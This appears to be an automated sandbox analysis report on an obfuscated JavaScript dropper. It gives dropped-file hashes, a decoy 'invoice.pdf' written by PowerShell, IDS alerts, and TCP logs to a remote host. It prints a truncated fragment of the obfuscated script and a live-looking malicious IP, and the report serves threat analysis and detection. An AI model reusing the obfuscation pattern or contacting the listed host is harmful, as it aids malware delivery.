Version=10.0.19045.1"..SessionID=40f42049-4fc2-42f9-8757-cf6d185fb9d0.1736514249619 Timestamp=2025-01-10T08:04:09:620-0500 ThreadID=1264 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.407410070389606
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRAC:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR3
MD5:	75CCFBC87DF3B12F287D042CC486AF4C
SHA1:	C447BA5D7B7671D5526420B6483FC2E085D10338
SHA-256:	BECC4927EAAFF114E6E1CB0EC81E817574952CB6517169E574AB0DD758B4B766
SHA-512:	E6C0C6CBF718E8D4B329C46CA79EC153772C496E6DA107E037330D5F38F9A3E419706487077490AB165F744D91D4F4C3F420ED978946061628921B2A58618464
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\23cb743e-dc02-4067-8ca9-14e6288b5190.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4cc8dc38-4047-4d6b-a923-233297214384.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	E88AC53FE29BDF9402BCF11696989153
SHA1:	EC950FE1C9ABBFB3713A082FC43B451A7F1A708F
SHA-256:	EB1E6D431D432B488F5B17DD7806ED04260E4A37264F282367F02C466A98327C
SHA-512:	A08590B0F5C1F281046A9E9D03A481758991E8C9CA2A96B8F59644C182F9D6EC81E9834FEF46FB3B27074EE8605C5AED79AB30957AFCB7A2734AD5018CB5C502
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6a11b4c8-113f-4c9a-9c0c-e50cd65114db.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a0e28f3a-6ebc-4d52-bc91-82d3b07554b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17145), with CRLF line terminators
Entropy (8bit):	4.913182524807167
TrID:
File name:	3144522639186114061.js
File size:	20'646 bytes
MD5:	11e9b23d136ebeae56d1ce53bff95a07
SHA1:	c963da8222d217b11330d10199e7641f9075691d
SHA256:	d8f9557aba8bd032b9debe7ae77a228c80bd28df5c240e46fe7c2b6b1a9e15f2
SHA512:	fe3e3cfa858c705bec1be0c28b0a2f2af9787df6d3aa67d57daab765e2f2cf06e0263e97140df4d0c01c7b75fec6f9107d53a41e7c6cc852f112822d1de2f517
SSDEEP:	384:xkMe6R7NAqxdDnFfX2SkWQ0wNyM/JSJ92Ig9s06jgTOg0gDFzfxBtu9dpNAdzYzn:xkMekpxkzpyM/JSJkIg9s06jgTOg0gDw
TLSH:	2892558BC1554FDF5EED22F429D624E3432112EC8A91F3D2749068D90B2ACEA64E75FC
File Content Preview:	function radrmbw(){lmugquszz=[1031,3079,5127,4103,2055,3072];var qoiootn=this[abxnz+jgyxftces+hmihgr+fepic+pwmeinpo+azxvfp+cevoox+fahbz](this[hxhbvxb+zwmznvth+rtguql+hmihgr+aziphbz+abxnz+fahbz][vdvdtrl+hmihgr+pwmeinpo+jgyxftces+fahbz+pwmeinpo+evvjvk+izlhe

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:04:06.430586+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-10T14:04:08.744674+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:04:05.614465952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:05.619445086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:05.619523048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:05.624536991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:05.629354954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430504084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430541992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430553913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430586100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430586100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.430598974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430613041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430655956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.430681944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.430689096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430756092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430767059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430778027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.430820942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.490644932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.490669966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.490683079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.490722895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.555571079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.555588007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.555608034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.555619955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.555632114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.555644989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.555644989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.555702925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.556205988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556220055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556231022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556271076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.556583881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556631088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.556631088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556646109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556680918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.556723118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556735039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.556781054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.557337999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.557388067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.557400942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.557488918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.557501078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.557514906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.557527065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.558223963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.558247089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.558295965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.576817036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.576889038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.615614891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.615653038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.615664005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.615712881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.615715027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.615727901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.615765095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.641719103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.641741037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.641767979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.681243896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681288004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681298018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.681302071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681322098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681333065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681351900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.681368113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.681603909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681622982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681634903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681644917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681655884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.681660891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.681679010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.682029963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682050943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682061911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682087898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.682157040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.682209969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682220936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682230949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682254076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.682801962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682815075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682826996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682854891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.682878971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682889938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682902098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682914972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.682945967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.682966948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.683619976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.683644056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.683654070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.683677912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.683826923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.683836937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.683847904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.683859110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.683867931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.683897972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.684500933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.684533119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.684544086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.684572935 CET	49699	80	192.168.2.7	193.143.1.205
